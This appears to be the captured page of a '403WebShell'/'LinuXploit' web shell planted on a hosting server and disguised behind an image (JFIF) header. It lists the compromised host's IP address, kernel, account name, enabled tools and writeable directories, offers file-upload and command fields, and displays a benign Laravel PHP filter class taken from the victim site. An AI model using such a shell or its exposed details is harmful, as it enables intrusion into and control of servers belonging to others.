����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.19.76.4
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/common/Database/Datasource/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/common/Database/Datasource//DatasourceFilters.php
<?php

namespace Common\Database\Datasource;

use Illuminate\Database\Eloquent\Model;

class DatasourceFilters
{
    /**
     * @var array
     */
    private $filters;

    /**
     * @var Model
     */
    private $model;

    public function __construct(?string $encodedFilters, Model $model)
    {
        $this->model = $model;
        $this->filters = $this->decodeFilters($encodedFilters);
    }

    public function getAll(): array
    {
        return $this->filters;
    }

    public function empty(): bool
    {
        return empty($this->filters);
    }

    public function where(string $key, string $operator, $value): self
    {
        $this->filters[] = [
            'key' => $key,
            'operator' => $operator,
            'value' => $value,
        ];
        return $this;
    }

    public function getAndRemove(
        string $key,
        string $operator = null,
        $value = null
    ): ?array {
        // use func_get_args as "null" is a valid value, need
        // to check whether if it was actually passed by user
        $args = func_get_args();

        foreach ($this->filters as $key => $filter) {
            if (
                $filter['key'] === $args[0] &&
                (!isset($args[1]) || $filter['operator'] === $args[1]) &&
                (!isset($args[2]) || $filter['value'] === $args[2])
            ) {
                unset($this->filters[$key]);
                return $filter;
            }
        }

        return null;
    }

    private function decodeFilters(?string $filterString): array
    {
        if ($filterString) {
            $filters = json_decode(
                base64_decode(urldecode($filterString)),
                true,
            );
            return collect($filters)
                ->map(function ($filter) {
                    return $this->normalizeFilter($filter);
                })
                ->filter()
                ->toArray();
        } else {
            return [];
        }
    }

    private function normalizeFilter(array $filter): ?array
    {
        $value = $filter['value'];
        $operator = $filter['operator'] ?? '=';
        if (is_array($value)) {
            // filtering by normalized model
            if (isset($value['id'])) {
                $value = $value['id'];

                // "value" contains both value and operator
            } elseif (array_key_exists('value', $value)) {
                $operator = $value['operator'] ?? $operator;
                $value = $value['value'];
            }
        }

        return [
            'key' => $filter['key'],
            'operator' => $operator,
            'value' => $value,
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit